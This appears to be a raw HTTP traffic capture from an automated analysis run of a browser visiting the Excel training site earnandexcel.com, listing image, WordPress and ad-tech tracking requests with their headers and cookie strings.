Source: global traffic	HTTP traffic detected: GET /topics/ HTTP/1.1Host: sda.fyiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /update?cats= HTTP/1.1Host: sda.fyiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_sda=
Source: global traffic	HTTP traffic detected: GET /api/identity/envelope?pid=2 HTTP/1.1Host: api.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1--- HTTP/1.1Host: lexicon.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=sne7dew&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&lsw=1&us_privacy=1--- HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: application/jsonAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/sync?origin=https://earnandexcel.com&src=//exchange.mediavine.com&s2sVersion=production&gdpr=0&us_privacy=1---&gppString=DBABzw~1---~BqgAAAAAAgA&p=%7B%22appnexus%22%3Atrue%2C%22gumgum%22%3Atrue%2C%22huddled_masses%22%3Atrue%2C%22indexExchange%22%3Atrue%2C%22kargo%22%3Atrue%2C%22mediadotnet%22%3Atrue%2C%22mediagrid%22%3Atrue%2C%22openx%22%3Atrue%2C%22pubmatic%22%3Atrue%2C%22pulsepoint%22%3Atrue%2C%22rubicon%22%3Atrue%2C%22smartmedia%22%3Atrue%2C%22sovrn%22%3Atrue%2C%22triplelift%22%3Atrue%2C%22verizon%22%3Atrue%2C%22yieldmo%22%3Atrue%2C%22centro%22%3Atrue%7D HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&b=1&g=D1TVST8cQWk2jXhq4d%2BoFv4qc3HkEWj1Ucmv5%2BgElAY%3D HTTP/1.1Host: lexicon.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true
Source: global traffic	HTTP traffic detected: GET /wp-admin/admin-ajax.php HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Power-BI-Advanced-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=sne7dew&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Excel-VBA-2-2-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/PowerPivot-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Pivot-Tables-1-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Excel-MI-Dashboards-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Power-Query-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _pubCommonId_cst=VyxHLMwsHQ%3D%3D; _lr_retry_request=true; _lr_env_src_ats=false; am_tokens=null
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fearnandexcel.com%2F&domain=earnandexcel.com&lsw=1&us_privacy=1--- HTTP/1.1Host: gum.criteo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
